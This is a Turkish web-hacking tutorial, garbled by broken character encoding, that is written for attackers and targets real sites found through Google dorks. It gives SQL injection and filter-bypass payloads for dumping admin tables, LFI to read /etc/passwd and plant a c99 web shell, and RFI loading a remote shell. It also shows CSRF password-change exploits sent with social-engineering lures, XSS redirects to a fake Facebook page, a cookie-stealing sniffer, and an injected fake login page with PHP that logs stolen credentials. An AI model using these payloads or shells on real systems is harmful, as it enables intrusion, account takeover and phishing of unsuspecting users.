Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz
Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde
Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin
Yazacağımız kod şu şekildedir
wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt
Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık
olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=
wwwfakefacebooksayfamcom ltscriptgt
adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır
Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır
8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)
Sniffer Nedir
Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle
değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini
ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır
İşleme başlamadan Sniffer dosyalarını vereyim sizlere
Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn
Hemen kuruluma geccediliyoruz
Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz
httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)
httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz
Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım
httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs
SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz
httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz
Daha sonra sniffer klasoumlruumlmuumlzuuml sitemize FTP aracılığıyla atıyoruzHemen kendi sitemizdeccedilalıştırıyoruz snifferımızı httpbenimsitemcomSnifferlogphp şeklinde log panelimizi ccedilağırıyoruzBu
adres cookielerin log olarak tutulacağı adresdirGiriş yaptığımızda bizden Kullanıcı adı şifreisteyecektirKullanıcı adı admin şifresi adminrsquodir
Girdikten sonra bizi log paneline aktaracaktırAccedilığı bulduğumuz siteden bir kurbana veya adminrsquoe linkitıklatmadığımız iccedilin Log panelinde ldquoHenuumlz Log bulunamadırdquo şeklinde bir yazı ccedilıkacaktır
Bizim adminrsquoe tıklatmamız gereken link indexhtml dosyasıdırYanihttpbenimsitemcomSnifferindexhtml lsquodirBuraya girdiğiniz de bir admin paneli gelecek
karşımızaBu admin panelini sahte bir admin panelidirYani adminrsquoin anlamaması iccedilin kurulmuş birpaneldirSizin yapacağınız sadece adminrsquoe veya kurbana httpbenimsitemcomSnifferindexhtml
linkini tıklatmaktırBiraz sosyal muumlhendislik gerekiyor burada tıklatmak iccedilinTıklattıktan sonra adminrsquoinveya kurbanın cookie bilgileri
httpbenimsitemcomSnifferlogphp adresine gelecektir
9-Sonuccedil (Elimize Geccedilen Cookie (Ccedilerez)rsquoi Değiştirme ve Hedef Veriye Ulaşmak)
Cookieleri ccedilektik Cookiersquoler elimizdeCookielerin son satırında Username ve Password kısmıbulunmaktadırYani şu şekilde
[Username]= admin UserİnfoCookie[Password]= mahserat
Evet goumlruumllduumlğuuml gibi kullanıcı adı admin şifresi de mahserat mışBu şekilde Adminin BilgilerinedeErişmiş olduk
10-Cross Site Scripting Accedilığı Olan Bir Siteye Fake Login Sayfası Bırakmak
Son olarak XSS Accedilığı bulduğumuz bir siteye Fake bir Login sayfası bırakacağız
Accedilığı bulduğumuz link wwwsitecomindexphpid= olduğunu farz edelimBuraya HTML kodlarıyla birLogin Kısmı oluşturucağız
wwwsitecomindexphpid= gtlthmtlgtltheadgtltmeta content=texthtmlcharset=ISO-8859-1http-equiv=content-type gtlttitlegtlttitlegtltheadgtltbOdygtltdiv style=text-aling
centergtltform method=POST action=fakesayfaphp name=formgtFake Login ltbrgtltbrgtKullanıcıadıltbrgtltinput type=text value= gtltbrgtSifreltbrgt ltinput name=Pass type=password
gtltbrgtltbrgtltinput name=valid value=Gonder type=submit gtltbrgtltformgtltdivgtltbOdygtlthtmlgt
Bu Şekilde bir HTML Kodu enjekte ettik siteyeFake bir Login kısmı uumlrettikfakesayfaphp dosyasınadikkat edelim arkadaşlar
fakesayfaphp
ltphp
$login = $_POST[rsquologinrsquo]
$password= $_POST[rsquoPasswordrsquo]
$open = fopen(rsquologhtmrsquo rsquoa+rsquo)
fputs($open rsquoLoginrsquo $login rsquoltbrgtrsquo rsquo
Password rsquo $password rsquoltbrgtrsquo rsquoltbrgtrsquo)
gt
fakesayfaphp dosyası loghtm dosyası oluşturuyorLoglarımızı tutuyor
Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
